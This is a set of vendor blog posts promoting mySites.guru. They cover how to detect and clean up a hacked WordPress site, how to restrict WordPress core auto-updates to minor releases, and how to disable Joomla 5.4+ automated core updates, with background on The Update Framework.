Site is slow or down - More likely a hosting issue, bad plugin, or traffic spike
Admin panel looks different - A plugin or theme update changed the UI
Emails going to spam - Usually a DNS/SPF/DKIM configuration problem
404 errors on pages - Broken permalinks after a migration or plugin conflict
White screen of death - Almost always a PHP error from a plugin or theme conflict

How to confirm a WordPress hack in 5 minutes

Don't guess. Check.

Step 1: Scan your files

The fastest way to confirm a hack is to scan every file on your server against known malware patterns. Surface-level scanners that only check a few pages miss most infections - you need file-level scanning.

mySites.guru's malware scanner checks every file in your webspace against 2,000+ regex patterns and 14,000+ known-bad file hashes. Most scanners only check what your site outputs to a browser. This one reads the actual files on disk, which is where the malware lives.

You can run a free audit with no credit card required.

<figcaption>The mySites.guru suspect content tool clearly shows hacked files, and patterns that match our suspect content rules</figcaption> </figure>

Step 2: Check your admin users

Log into WordPress and go to Users > All Users. Sort by role and look for any Administrator accounts you don't recognise. Hackers often create backdoor admin accounts with innocent-sounding names.

If you manage multiple sites, mySites.guru's snapshot makes this easier. Every site audit shows exactly how many super users exist, how many lack two-factor authentication, and flags any accounts that look suspicious - across all your sites at once, without logging into each one individually.

If you can't log in at all, that's another strong indicator - the attacker may have changed your password or locked you out.

Step 3: Check Google's view of your site

Search Google for site:yourdomain.com and scan the results. If you see pages about pharmaceuticals, gambling, or products you don't sell, your site has been injected with SEO spam. This type of hack is invisible to you when you visit the site normally because the malware only shows the spam content to search engine crawlers.

<figcaption>A real example of a hacked site - Google is indexing gambling spam pages under a legitimate food business domain</figcaption> </figure>

Step 4: Review recently modified files

Check which files on your server were modified recently. If core WordPress files or files in wp-content have modification dates that don't match your last update, something changed them.

The mySites.guru audit includes a full set of file and folder diagnostic tools that automate this work. It flags files modified in the last three days, finds hidden files and folders, locates archive files left behind by attackers, spots PHP files in directories where they shouldn't exist, identifies renamed files (like file.old or file.bak) that hackers use to stash backdoors, and checks for files that existed in a previous audit but were modified since. Each finding has an "Investigate" button that lets you drill straight into the file.

<figcaption>The mySites.guru audit includes over 20 file and folder checks - recently modified files, hidden folders, dangerous permissions, archive files, and more</figcaption> </figure>

The mySites.guru suspect content tool flags files that contain suspicious code patterns - things like base64-encoded payloads, eval() calls processing external input, or obfuscated function names designed to avoid detection.

What should you do in the first 24 hours?

If your scan confirms a hack, move fast. The longer malware stays on your site, the more damage it does to your search rankings and reputation.

1. Change every password

Right now. All of them:

WordPress admin password
FTP/SFTP credentials
Database password (update wp-config.php to match)
Hosting control panel password
Any API keys stored in wp-config.php

mySites.guru's one-click admin login means you don't need to remember passwords for every site - but the attacker might have your old credentials, so change them all regardless.

2. Document what you find

Before you start deleting files, take note of what's been compromised. mySites.guru's suspect content tool does this for you - it lists every flagged file with the exact matching lines, the threat type, and when the file was last modified. If a file looks suspicious but you're not sure what it does, the AI-powered malware analysis can explain it in plain English with one click.

This record matters because it tells you how the attacker got in, which you need to know to prevent reinfection.

3. Remove the malware

For each compromised file, you have two options:

Core files (wp-admin, wp-includes): Replace them with clean copies from wordpress.org. mySites.guru can compare your core files against the originals and restore them with a single click - no FTP needed.
Theme and plugin files: Compare against the original versions. If the file shouldn't exist at all (random PHP files in your uploads folder, for example), delete it.

mySites.guru also has a built-in file editor that lets you view and edit any file on your server directly from the dashboard. When the audit flags a suspicious file, you can open it, inspect the code, remove the malicious content, and save it back - all without needing FTP or SSH access.

<figcaption>The built-in file editor lets you view and edit files directly on your server to remove malicious code</figcaption> </figure>

Our step-by-step guide covers the full cleanup process using mySites.guru's tools.

4. Find and remove backdoors

Most people stop after removing the visible malware. That's why they get hacked again a week later.

Attackers plant backdoor files in places you wouldn't normally look, specifically so they can get back in after cleanup:

Inside legitimate-looking plugin files
In your theme's functions.php (buried among real code)
As dot-files (.htaccess modifications, hidden PHP files) that FTP clients don't even show you
In the uploads directory disguised as images

mySites.guru's deep security audit catches these because it checks every single file against 20,000+ regex patterns and 14,000+ known-bad file hashes. It doesn't just check the obvious locations - it scans your entire webspace, including the hidden files and folders that most tools skip.

5. Update everything

After cleanup, update WordPress core, all plugins, and all themes to their latest versions. If you manage multiple sites, mySites.guru's bulk update tool lets you push updates across all of them from one dashboard. Remove any plugins or themes you're not using - deactivated plugins are still attackable.

Check your plugins against known vulnerabilities. mySites.guru's vulnerability alerting cross-references every plugin on your site against CVE databases and alerts you when a plugin has a known security hole - so you can patch it before it gets exploited again.

6. Set up monitoring

A clean site today can be compromised again tomorrow if you're not watching it. mySites.guru gives you several layers of ongoing protection:

Real-time file change alerts - get notified the moment any monitored file changes or an admin logs in
Scheduled security audits - automate daily or weekly scans so you don't have to remember to run them
Uptime monitoring - know within minutes if your site goes down, which can be an early sign of a new attack
Automated snapshots - twice-daily checks of 140+ configuration settings so you can spot anything that changes unexpectedly

Why do hacked WordPress sites keep getting reinfected?

Incomplete cleanup is the number one culprit. Miss one backdoor file and the attacker walks right back in.

But even a perfect cleanup fails if you don't fix the entry point. If a vulnerable plugin got you hacked and you clean the malware but leave the plugin at the same version, you'll get hit through the same hole again. Same goes for weak passwords - if your admin account is still using "password123", brute-force bots will find it.

When should you get professional help?

You can handle most WordPress hacks yourself with the right scanning tools. But consider getting professional help if:

Your hosting provider has suspended your account and won't reinstate it
The hack involves a database injection (not just file modifications)
Your site has been compromised for weeks or months and you're unsure of the full scope
You're seeing signs of a targeted attack rather than an automated one

mySites.guru's AI-powered malware analysis can help you understand exactly what each flagged file does, making it easier to decide whether to clean or delete it.

If you'd rather hand the whole thing to someone who's done it hundreds of times, the fix.mySites.guru service covers the full cleanup - finding the entry point, removing every backdoor, updating everything, and locking the site down. One flat fee, no surprises.

How do you harden your WordPress site after cleanup?

Cleaning up the malware is half the job. The other half is understanding what's actually running on your server and making sure it's configured properly. Most site owners have no idea what's under the hood - debug mode left on, outdated PHP versions, missing security headers, exposed log files. These are the gaps attackers walk through.

mySites.guru runs 140+ best-practice checks on every site, twice a day. It flags the stuff you'd never think to check manually:

PHP version and configuration - Running an outdated or end-of-life PHP version is an open invitation. The snapshot tool shows you exactly which version each site runs and whether it meets current requirements.
Debug mode - WordPress debug constants left enabled on production sites leak error paths, database credentials, and internal file structures to anyone who knows where to look.
Security headers - CSP, HSTS, X-Frame-Options, and Permissions-Policy defend against XSS, clickjacking, and protocol downgrade attacks. The snapshot checks all eight headers on every scan.
SSL certificates - Track every certificate's expiry date and get alerted before it lapses. An expired cert kills trust and can tank your rankings.
Hidden files - Dot-files and dot-folders that FTP clients and file managers don't show you. Hackers love these blind spots.
Disk space - Server disk monitoring catches partitions filling up before your site crashes. A full disk also prevents log rotation, which masks future attacks.
Updates - Keep core, plugins, and themes current. Use bulk updates across multiple sites and remove anything you're not actively using - deactivated plugins are still attackable code.
Access control - Strong, unique passwords for every admin account. Role-based permissions so team members only have the access they need. On client sites, block plugin installs from the WordPress admin so nobody introduces untested code.
File monitoring - Real-time alerts when any monitored file changes or an admin logs in, plus scheduled security audits running daily or weekly so you catch issues before they become incidents.

Fix the hack, yes - but also understand your server's configuration and apply best practice across every site you manage. That's what stops the next attack.

Scan your site now

Catching a hack on day one is a 30-minute fix. Discovering it three weeks later, after Google has flagged your site and your rankings have tanked, is a different problem entirely.

Run a free security audit on your WordPress site. No credit card, takes about a minute, scans every file on the server.

</div>

If you manage multiple WordPress sites, mySites.guru scans and monitors all of them from one dashboard - £19.99/month, no per-site fees.

For the full picture, see our complete security guide for agencies.

How to Enforce Minor Upgrades Only in WordPress

phil@mysites.guru (Phil Taylor) — Thu, 12 Mar 2026 00:00:00 GMT

We've been writing a lot about WordPress and Joomla automatic updates lately. Previous posts covered stopping all WordPress auto-updates with one click, locking down plugin installs, and what happened when the WordPress 6.9.2 security release crashed sites. On the Joomla side, we looked at disabling Joomla's new automated core upgrades and preventing accidental version jumps via update channels. This post covers the middle ground for WordPress: keep security patches coming, block major version jumps.

Why Aren't All WordPress Updates Equal?

WordPress has two types of core update, and the difference matters if you manage production sites.

Minor updates (6.9 to 6.9.1, 6.9.1 to 6.9.2) are security patches and bug fixes. Small, targeted, designed not to break anything. WordPress has auto-applied these since version 3.7, and they rarely cause trouble. The 6.9.2 through 6.9.4 security releases are a recent example -- patches that sites needed within hours.

Major updates (6.8 to 6.9, 6.9 to 7.0) introduce new features, change admin interfaces, update database schemas, deprecate functions, and sometimes alter how plugins interact with core. These are the updates that break things.

You want minor updates to happen automatically -- security patches shouldn't wait. But you want to control when major updates happen, because you want to test first. WordPress has a constant for this: WP_AUTO_UPDATE_CORE.

How Does mySites.guru Handle This?

mySites.guru's WordPress Configuration audit reads WP_AUTO_UPDATE_CORE from every connected site during each snapshot. The connector checks whether the constant is defined and whether its value is exactly 'minor'. If not, the audit flags it.

Click fix, and the connector writes define('WP_AUTO_UPDATE_CORE', 'minor') to wp-config.php on the remote site. No SSH, no file editing, no logging into each WordPress admin.

There's a separate check for AUTOMATIC_UPDATER_DISABLED too, because these two constants interact:

AUTOMATIC_UPDATER_DISABLED = true + WP_AUTO_UPDATE_CORE = 'minor' -- No auto-updates at all (the disabled flag overrides everything)
AUTOMATIC_UPDATER_DISABLED = false + WP_AUTO_UPDATE_CORE = 'minor' -- Only minor core updates auto-apply (the recommended setup)

If you've already disabled the full auto-updater and want to re-enable just security patches, you need to set AUTOMATIC_UPDATER_DISABLED back to false while keeping WP_AUTO_UPDATE_CORE at 'minor'. The mySites.guru dashboard shows both constants side by side so you can configure each site to the exact update behaviour you want. See the full list of configuration checks on the features page.

What Does WP_AUTO_UPDATE_CORE Do?

This constant in wp-config.php accepts three values:

Value	Behaviour
`true`	All core updates happen automatically (minor and major)
`false`	No core updates happen automatically
`'minor'`	Only minor/security updates happen automatically

The default behaviour when the constant isn't defined is that WordPress auto-applies minor updates. This has been the case since WordPress 3.7 introduced the automatic background update system.

There's another wrinkle: WordPress automatically disables all background updates if it detects version control. The auto-updater checks for .git, .svn, .hg, and .bzr directories, walking up from ABSPATH to the filesystem root. If it finds one, it won't auto-update anything - core, plugins, themes, or translations. The logic is in WP_Automatic_Updater::is_vcs_checkout(), and you can override it with the automatic_updates_is_vcs_checkout filter if you want auto-updates on a version-controlled site. But if you're deploying via Git and wondering why WP_AUTO_UPDATE_CORE seems to do nothing, this is probably why.

The other common problem: many hosting providers, one-click installers, and site migration tools set WP_AUTO_UPDATE_CORE to true or leave it undefined, which can result in major updates being applied without warning.

Note that WP_AUTO_UPDATE_CORE only controls WordPress core updates. Plugin and theme auto-updates are managed separately through the WordPress admin or with the auto_update_plugin and auto_update_theme filters. If you want to stop all automatic updates entirely, you need the AUTOMATIC_UPDATER_DISABLED constant instead -- but for most sites, minor-only core updates make more sense.

Why Are Major WordPress Auto-Updates Risky?

When major updates happen unattended, things break. A plugin that worked on 6.8 might call a function that's deprecated or removed in 6.9. The plugin author might have an update ready, but if WordPress core updates first, the site is down before anyone notices. Watching for plugin vulnerabilities matters here too - a vulnerable plugin on a freshly updated core is a bad combination. The WordPress vulnerability scanner gives you a cross-site view of every known CVE affecting your installed plugins.

Themes are another weak point. Major updates sometimes change template hierarchy, block editor behaviour, or CSS loading order. Custom themes get hit hardest because they're rarely tested against pre-release WordPress builds. We saw this play out in real time when WordPress 6.9.2 crashed sites running certain theme frameworks -- a security auto-update broke front-end rendering, and it took three releases in two days to sort it out.

Database schema changes are the scariest part. Major updates occasionally modify tables, and if the update process gets interrupted -- server timeout, resource limits, a flaky connection -- you can end up with a half-migrated database that neither the old nor the new code can work with.

And automatic updates skip staging entirely. You go from "everything works" to "production is updated and you hope it works."

How Do You Set Up WordPress Minor-Only Updates Manually?

To restrict auto-updates to minor versions only, add this to wp-config.php:

define('WP_AUTO_UPDATE_CORE', 'minor');

Place it before the /* That's all, stop editing! */ comment. If the constant already exists with a different value, change it.

For a single site, this is a two-minute job. For a portfolio of WordPress sites, the process looks more like:

SSH into each server (or use file manager on each hosting account)
Check the current value of WP_AUTO_UPDATE_CORE
Set it to 'minor' if it's not already
Verify the change took effect
Repeat for every site

And then keep checking. WordPress upgrades, hosting migrations, and platform auto-configuration tools can reset the value without telling you. You should also consider locking down plugin installs so that nobody introduces untested code while you're carefully managing core updates.

The recommended WordPress update setup for production sites

The best approach is to disable automatic updates entirely and manage all updates through a proper deployment strategy: take backups first, test on staging, then roll out in batches using the bulk update WordPress tool so a bad update doesn't hit every site at once. That's how agencies and hosting providers who manage large numbers of WordPress sites handle it.

But if you can't commit to that workflow -- maybe you don't have staging environments for every site, or you don't check for updates often enough -- then minor-only auto-updates are a reasonable fallback:

Set WP_AUTO_UPDATE_CORE to 'minor' so security patches still come through
Leave AUTOMATIC_UPDATER_DISABLED at false so the update mechanism actually works
Turn off individual plugin and theme auto-updates -- handle those through your own workflow
Use mySites.guru to see available major updates across all sites and apply them when you're ready

It's a compromise. You're trading some control for the assurance that critical security patches won't sit waiting while you get around to them.

Can You See This Setting Across All Your Sites at Once?

mySites.guru also lets you view WP_AUTO_UPDATE_CORE across every connected WordPress site on a single screen. You can see which sites have it set correctly, which ones don't, and toggle each one individually without leaving the page.

If you manage 20 sites, you fix 20 sites from one screen. If you manage 200, same screen. No spreadsheets, no SSH sessions, no logging into each WordPress admin to check a value buried in wp-config.php.

Ongoing monitoring with mySites.guru

Once minor-only updates are configured, mySites.guru keeps checking. The audit dashboard shows which sites have the correct setting, which have pending major updates, which have the auto-updater disabled entirely, and any sites where the configuration has drifted from what you set.

This is how we handle other wp-config.php constants too -- debug settings, DISALLOW_FILE_MODS, the WordPress admin bar logo, and leftover default content like the Sample Page. Monitor on every snapshot, flag anything that changed, offer a one-click fix.

Without that kind of visibility across your whole portfolio, you're just hoping. Hoping every site still has the right setting, that no hosting migration reset it, and that nobody changed it during a support ticket three months ago.

How to Disable Automated Joomla Core Upgrades in Joomla 5.4+ and 6.0

phil@mysites.guru (Phil Taylor) — Wed, 11 Mar 2026 00:00:00 GMT

Joomla 5.4 and 6.0 introduced automated core updates. Your Joomla site can now register itself with Joomla.org's update infrastructure and apply core patches without anyone touching the admin panel. New installations have this enabled by default.

If you manage client sites, you probably want to turn this off. Here's how.

How Do You Disable Automated Joomla Core Updates?

Method 1: Using mySites.guru across all your sites

If you manage more than a handful of Joomla sites, logging into each one to toggle a setting is exactly the kind of repetitive work that eats your day. mySites.guru handles this from one screen.

During each site snapshot, mySites.guru checks the autoupdate parameter in the com_joomlaupdate configuration on every connected Joomla 5.4+ and 6.0+ site. If the parameter is missing or set to 1, the site is flagged as having an issue. The dashboard shows you all your Joomla sites with their current status at a glance:

Each site gets a simple toggle:

Green tick = auto-updates are disabled (recommended)
Red cross = auto-updates are not disabled - this is flagged as an issue

Clicking the toggle sets the autoupdate parameter to 0 on the remote site, preventing Joomla from automatically upgrading until you change the setting back. For an agency managing dozens or hundreds of Joomla sites, this turns a multi-hour task into a few minutes of clicking through a filtered list.

The same check also appears in the Joomla Configuration section of each individual site's audit:

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">One-way toggle by design</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">mySites.guru can disable auto-updates remotely, but it cannot enable them. If you decide you want automated updates on a specific site, you need to enable that directly in the Joomla administrator panel on version 5.4+. This is a deliberate safety measure - auto-updates should only be turned on with full awareness of what the feature does.</p> </div>

Combined with mySites.guru's update channel detection, you can see both which versions your sites are being offered and whether they'll install those versions automatically.

Method 2: Through the Joomla admin panel

Log into the Joomla administrator panel
Navigate to System → Joomla! Updates
Click Options in the toolbar
Select the Automated Updates tab
Toggle the setting from Yes to No
Click Save & Close

You can also reach this from the Home Dashboard - look for the "Automated Updates are disabled" quick icon. If it shows an orange icon instead of green, automated updates are still enabled - click through to the settings to disable them.

Method 3: During installation (for new sites)

Since the opt-out mechanism was added, the Joomla installation wizard includes a Disable Automated Updates button on the final screen after installation completes. Clicking it prevents the site from registering with the update server entirely.

Managing Joomla updates after disabling auto-updates

Disabling automated updates doesn't mean ignoring updates. It means you decide when they happen. A solid update workflow for agencies looks like this:

1. Monitor available updates from one dashboard

Use mySites.guru's update management to see which Joomla sites have pending core updates. You get this information from your regular site snapshots without logging into each site.

2. Test on a staging site first

Before applying a Joomla core update to a client's production site, test it on a staging copy. Check that all extensions work, forms submit correctly, and custom code still functions. This is the step that automated updates skip entirely.

3. Back up before updating

Make sure each site has a current backup before you apply the update. mySites.guru's backup scheduling can automate this so you're not manually triggering backups across dozens of sites.

4. Apply updates in batches

With mySites.guru, you can upgrade multiple Joomla sites from one dashboard. Apply the update to a small group first, verify everything is stable, then roll out to the rest. This gives you the speed of bulk updates with the safety of incremental rollout.

5. Document the change

If you provide client reports, the update should appear in the report for that maintenance period. Automated updates that happen without your involvement don't show up in your documentation - another reason to keep updates in your own hands.

What Do Joomla Automated Core Updates Actually Do?

Joomla 5.1 (April 2024) introduced The Update Framework (TUF) to cryptographically secure the update process, but TUF alone didn't make updates automatic. It wasn't until Joomla 5.4 and 6.0 (both released October 2025) that fully automatic core updates arrived, built on top of that TUF foundation. The process has four steps:

Your Joomla site registers itself with a centralized server on Joomla.org infrastructure and receives a unique authentication token.
The remote server uses that token to signal your site that an update is available.
Your site (not the remote server) downloads the update package and installs it. The process is pull-based: the remote server cannot push code to your site directly.
After a successful update, all super users on the site receive an email notification.

Only Joomla core files are updated. Third-party extensions, templates, and plugins are left untouched - if you want control over extension updates, that's a separate mechanism covered in our guide to automatic updates for any Joomla extension. The core-only scope is actually a large part of the problem for agencies.

What data does registration collect?

When your site registers with the autoupdate.joomla.org service, it sends technical information about your environment: php_version, db_type, db_version, cms_version, and server_os. An authentication token is generated and stored on both the Joomla update server and your site. This token is how the remote server authenticates requests to your site's API.

The registration also creates new REST API endpoints on your site through com_joomlaupdate's webservices integration. These endpoints allow the update server to communicate with your Joomla installation, checking status and triggering the update process.

How updates get applied without admin login

The update mechanism bypasses the traditional /administrator/ login flow entirely. Instead of going through the admin panel, the remote server communicates with your site through Joomla's /api endpoints, proxied through /index.php. This means even if you've locked down your admin panel with IP restrictions, password-protected directories, or .htaccess rules, the automated update system can still reach your site through the front-end API path.

That's by design: the update needs to work without human interaction, so it can't rely on an authenticated admin session. But it does mean there's an additional attack surface to consider, even if TUF protections make exploitation difficult.

Requirements for automated updates to work

Automated updates won't activate unless all of these are true:

The site must be publicly accessible on the internet (localhost and intranet sites are excluded)
The update channel must be set to Default (not "Joomla Next" or "Testing" - see our guide on Joomla update channels for why this matters)
Minimum stability must be set to Stable
The site must be running Joomla 5.4 or higher (or 6.0+)
Working mail configuration (for post-update notification emails)

The default behavior depends on how the site was installed

This is the part that catches people off guard:

New installations of Joomla 5.4+ or 6.0+: automated updates are enabled by default
Sites upgraded from Joomla 5.3 or earlier to 5.4+: automated updates are disabled by default

If you've been running Joomla 5 since before 5.4 and upgraded through the normal update process, you're fine - the feature is off unless you turned it on. But any fresh Joomla installation (new client site, dev environment spun up with the latest version, a hosting provider's one-click installer) has automated updates running from day one.

What is The Update Framework (TUF)?

TUF is an open-source security specification that protects software update systems from supply-chain attacks. It started in the Python community and is now a graduated Cloud Native Computing Foundation (CNCF) project under the Linux Foundation. Docker, Google, Amazon, Microsoft, VMware, and Cloudflare all use it.

The problem it solves: what happens when the server distributing your updates gets compromised? Without TUF, an attacker who controls the update server can serve a malicious package and every client that checks for updates will install it. TUF prevents this with a few mechanisms:

Cryptographic signing with role separation. Updates aren't signed by a single key. TUF splits signing responsibilities across multiple roles - root, targets, snapshot, and timestamp - each with their own keys. Compromising one key doesn't give an attacker the ability to forge a complete, valid update.
Threshold signatures. Critical actions require M-of-N signatures (e.g., 3 out of 5 keyholders must sign). Even if an attacker steals one or two keys, they still can't produce a valid release.
Expiration enforcement. TUF metadata has built-in expiration dates. A client won't accept stale metadata, which limits the window for replay attacks where an attacker serves an old, vulnerable version as if it were current.
Consistent snapshots. The framework ensures clients get a consistent view of the repository at a point in time, preventing mix-and-match attacks where an attacker combines files from different releases.

How Joomla uses TUF

Before Joomla 5.1, the updater retrieved update information from an XML file hosted on the Joomla.org CDN. Whatever that XML file said was trusted - there was no cryptographic verification that the update information actually came from the Joomla project. If someone compromised the CDN or the update server, they could point every Joomla site to a malicious download.

Joomla 5.1 replaced this with a TUF-based update system. The implementation includes a server-side setup for the update repository with a CLI tool for managing signing keys and publishing releases, and a PHP client library that reads and verifies TUF metadata before accepting any update. Even if an attacker compromises the update server infrastructure, they cannot forge the cryptographic signatures that prove an update was published by the official Joomla project.

The automated update feature introduced in Joomla 5.4 builds on top of this TUF foundation. The pull-based mechanism (where your site downloads and verifies the update itself rather than receiving pushed code) combined with TUF's signature verification means the worst-case scenario for a server compromise is that an attacker could trigger a legitimate pending update to install sooner than expected - not inject arbitrary code.

The entire infrastructure is open source. The PHP client library is based on php-tuf, a shared implementation also used by Drupal and TYPO3 - though Joomla maintains its own fork with several changes. The fork fixes how signature verifiers are recreated during root key rotation (aligning with the TUF spec more strictly than upstream), relaxes spec_version validation to accept a wider range of version formats, fixes canonical JSON key sorting for nested arrays, adds PHP 8.4 nullable type compatibility, and widens the Guzzle Promises constraint to support both v1 and v2. A full diff of the fork's changes is available. The fork does lag behind upstream on some improvements like static caching, delegated role optimizations, and the latest TUF spec version. The signed metadata itself - covering all four TUF roles (root, targets, snapshot, and timestamp) - lives in the joomla/updates repository, which has accumulated over 1,500 commits of cryptographic signatures and update artifacts. The server that orchestrates the pull-based update cycle is the Automated-Updates-Server, a Laravel 11 application hosted by the Joomla project. It runs on PHP 8.3+ with Laravel Horizon managing the job queue: health-checking registered sites every 15 minutes, queuing update jobs when patches are available, and removing inactive sites after 7 days of failed checks. Joomla is the first PHP-based CMS to ship TUF verification in its update pipeline.

For site administrators, TUF operates transparently. You don't need to configure anything or manage keys. It runs in the background every time your site checks for or applies a Joomla core update, whether manual or automated.

Why Should Agencies Disable Automated Joomla Core Updates?

The feature was built for a specific audience: the long tail of Joomla sites with no active maintenance. After a security patch release, there's roughly a 10-12 hour window before attackers reverse-engineer the fix and start scanning for unpatched sites. For sites with no one watching the dashboard, automated updates close that window.

But if you're reading this blog, you probably manage sites professionally. Automated updates don't fit that workflow. These concerns aren't new, either. Back in 2014, Brian Teeman - co-founder of Joomla - wrote that automatic updates for Joomla are a bad idea, arguing that the risks of breaking sites without notice outweigh the convenience. His point: "You definitely do not want to find out at 2 a.m. on a Saturday night that an update has gone wrong when a furious client calls you." Over a decade later, with the feature now shipping in core, those same arguments still hold.

Joomla isn't alone in this tension, either. Drupal is building its own automatic updates initiative and is upfront about the limitations. Their own documentation states: "Automatic updates are generally not intended for use by large enterprise organizations that already have their own build workflows and pipelines. Instead, the intent is to support small-to-medium site owners who have a 'set-it-and-forget-it' attitude towards their Drupal installations." (source). That's exactly the distinction that matters here: automatic updates are for unmanaged sites, not for sites you're actively responsible for.

Extension compatibility breaks

The core updates but your extensions don't. An automated patch can land on a site running extensions that haven't been tested against the new core version. Contact forms stop submitting. E-commerce checkout flows fail. On client sites running niche or legacy extensions, the risk gets worse.

We've seen this pattern play out for years with WordPress automatic updates and it's no different here.

No staging-first workflow

The automated system updates the live site directly. There's no mechanism to route the update through a staging environment first, verify that everything works, and then apply to production. For agencies that bill for maintenance and guarantee uptime, skipping the test step is unacceptable.

Unpredictable timing

Updates can trigger at any time. During peak traffic. Right before a client presentation. While you're in the middle of debugging something else on the same site. You have no say in the timing.

Backup dependency

Every guide on automated updates (including Joomla's own documentation) stresses that having a current, restorable backup before each update is "absolutely vital." That's true, but on a portfolio of 50+ sites, ensuring every site has a valid backup at the exact moment an automated update fires is an operational challenge. If you're using mySites.guru's backup scheduling, you have a safety net - but the timing still isn't guaranteed to align.

Undermines your maintenance service

If you sell maintenance contracts where tested, documented updates are part of the service, automated updates create confusion. A client's site updates itself overnight, something breaks, and the first question is "who did this?" Explaining that Joomla did it on its own doesn't exactly inspire confidence in the controlled process you promised them.

Continuous data transmission

Once registered, the service performs health checks every 24 hours, transmitting technical information about your site to Joomla's servers - including PHP version, database type and version, CMS version, and server OS. This happens regardless of whether a new update is available. If your clients are in regulated industries or have strict data governance policies, this ongoing communication with an external service may need to be disclosed or approved.

Cloudflare and WAF interference

Community reports confirm that Cloudflare's Bot Fight Mode blocks the automated update mechanism, returning 403 errors. Sites behind aggressive WAF rules may need additional configuration to allow the update server's requests through. If you manage sites on varied hosting environments, this adds another variable to troubleshoot when updates fail silently.

The feature is still maturing

The autoupdate.joomla.org service stability under high load has not been fully demonstrated in production at scale. The feature was developed by a small team of contributors, and additional security concerns have been reported to the Joomla Security Strike Team and are still being addressed. Failure notifications rely on your site being operational after the upgrade - if an update causes a site error, no notification will be sent. If client site availability is what you sell, relying on a system that's still proving itself in production adds risk you probably don't need.

How Do You Audit Your Existing Joomla Sites?

If you've been building new Joomla sites since October 2025 (when 5.4.0 and 6.0.0 shipped), some of them may have automated updates running without you realizing it. To audit your portfolio:

Run a snapshot on all your connected Joomla sites in mySites.guru
Check the automated update status - the dashboard will show you which sites have the feature enabled
Disable it on any site where you want manual control, directly from the dashboard
Verify the update channel - while you're at it, confirm all sites are on the "Default" channel, not "Joomla Next" (which could trigger a major version jump)

If you're not using mySites.guru yet, you can start with a free audit to see the state of your sites.

What to look for in the audit results

When you run the audit, the "Disable Upcoming Joomla 5.4+ Auto Joomla Upgrades" check appears in the Joomla Configuration section of each site's report. Sites where auto-updates are already disabled show a green OK badge. Sites where the autoupdate parameter is set to 1 (or missing entirely, which Joomla 5.4+ interprets as opting in) show a red 1 Issue badge.

Pay particular attention to:

Sites built after October 2025 - new installations default to auto-updates enabled
Sites on shared hosting with one-click Joomla installers - the hosting provider's installer may not disable auto-updates
Sites handed off from other developers - you may not know what settings the previous maintainer used
Dev/staging sites that were later pointed to production domains - if the original install had auto-updates enabled, the production site inherited that setting

Check your hosting control panel too

Disabling Joomla's built-in auto-updates isn't the whole picture. Many web hosting control panels have their own auto-upgrade features that operate independently of Joomla's settings. Softaculous, Installatron, and similar one-click installers bundled with cPanel, Plesk, and DirectAdmin can all be configured to auto-update Joomla and WordPress installations on a schedule. Some managed hosting providers enable this by default.

This means you can disable auto-updates inside Joomla and still wake up to find your site was upgraded overnight by Softaculous. The hosting panel updates the files directly on disk - it doesn't go through Joomla's update mechanism at all, so TUF verification doesn't apply and Joomla's own auto-update setting is irrelevant.

If you manage sites across multiple hosts, log into each hosting control panel and check:

Softaculous - go to the installation's edit page and look for "Auto Upgrade" and "Auto Upgrade Plugins" settings. Set both to "Do not Auto Upgrade."
Installatron - check the "Automatic Update" option in the application's settings
Managed WordPress/Joomla hosts - some providers (like WP Engine for WordPress, or Starter for Joomla) manage updates as part of the service. Review their update policies and opt out if your workflow requires it.

This is easy to overlook, especially on client sites where someone else set up the hosting. Add it to your audit checklist.

What if auto-updates already ran on your sites?

If you're finding out about this after an update already landed on one of your sites, here's how to assess and recover:

Check what version was installed. Log into the Joomla admin panel and check the current CMS version under System → System Information. Compare it to what you expected. If the site was on 5.4.2 and is now on 5.4.3, that's a minor patch - check the Joomla release notes for what changed.

Test the site thoroughly. Walk through the critical user paths: contact forms, login, search, any custom functionality, e-commerce checkout if applicable. Check the front-end and back-end for PHP errors. Look at the site's error log for new entries timestamped around the update time.

Verify extensions are compatible. Open the Extensions → Manage → Manage panel and look for any extensions flagged with compatibility warnings. Check that your Joomla extensions are all functioning correctly. Pay particular attention to template overrides, which can break silently when core HTML output changes.

Check for failed update artifacts. If an automated update failed partway through, you may find the site in an inconsistent state. Look for Joomla's administrator/cache/com_joomlaupdate directory and check if there are leftover update packages. A failed update that left partial files behind will need manual cleanup - either by re-running the update or restoring from backup.

Disable auto-updates immediately. Follow the methods above to prevent it from happening again. Then take a fresh backup of your sites so you have a clean restore point going forward.

When Do Automated Joomla Updates Make Sense?

The feature isn't universally bad. There are legitimate use cases:

Personal or hobby sites with no third-party extensions and no maintenance contract
Brochure sites running vanilla Joomla with no custom code and minimal extension usage
Sites where no one is watching - if the alternative is running an unpatched Joomla site for months, automated updates are the lesser risk

If a site fits that profile, leaving automated updates enabled is reasonable. The core Joomla team built this feature to solve a real problem: the massive number of Joomla sites running outdated, vulnerable versions because no one is maintaining them.

But if you're the person maintaining the site, testing updates, managing extensions, and guaranteeing uptime, then you should be the one deciding when updates happen.

How Does WordPress Handle Automatic Updates?

WordPress has had automatic background updates since version 3.7, and the same debates played out in that ecosystem years ago. If you manage WordPress sites alongside Joomla, you'll recognize the pattern: the feature helps unmanaged sites stay patched, but agencies need more control. The recent WordPress 6.9.2 incident - where a security auto-update crashed sites running certain theme frameworks - is a textbook example of why testing before deployment matters, regardless of the CMS.

WordPress went a different direction on the security side, too. In 2016, Scott Arciszewski of Paragon Initiative Enterprises publicly disclosed that WordPress's auto-update mechanism had no cryptographic signature verification - updates were checked with an MD5 hash provided by the same server serving the file, making api.wordpress.org a single point of failure for roughly a quarter of all websites on the internet. His words: "If you manage to hack their infrastructure, you can push a false update to millions of WordPress blogs and get reliable remote code execution everywhere." He built sodium_compat (a PHP polyfill for Ed25519 signing) and submitted patches to ticket #39309, but Matt Mullenweg told core developer Dion Hulse to stop working on it because it wasn't among WordPress's 2017 priorities - the Editor, Customizer, and REST API were. Mullenweg called it "a good idea" but "not a priority," ranking it below weak passwords and users not updating their plugins. It took until WordPress 5.2 in May 2019 - three years after the disclosure - for Ed25519 signature verification to ship. And even then, WordPress rolled its own signing system rather than adopting TUF. Joomla, whatever your opinion of its auto-update implementation, at least built on an established, peer-reviewed security framework from day one.

mySites.guru gives you the same control for both platforms. You can stop WordPress automatic updates with a single toggle, or take the middle path and enforce minor-only core updates so security patches keep flowing while major version jumps are blocked. And now you can do the same for Joomla's automated core updates. Same dashboard, same workflow, both CMS platforms covered.

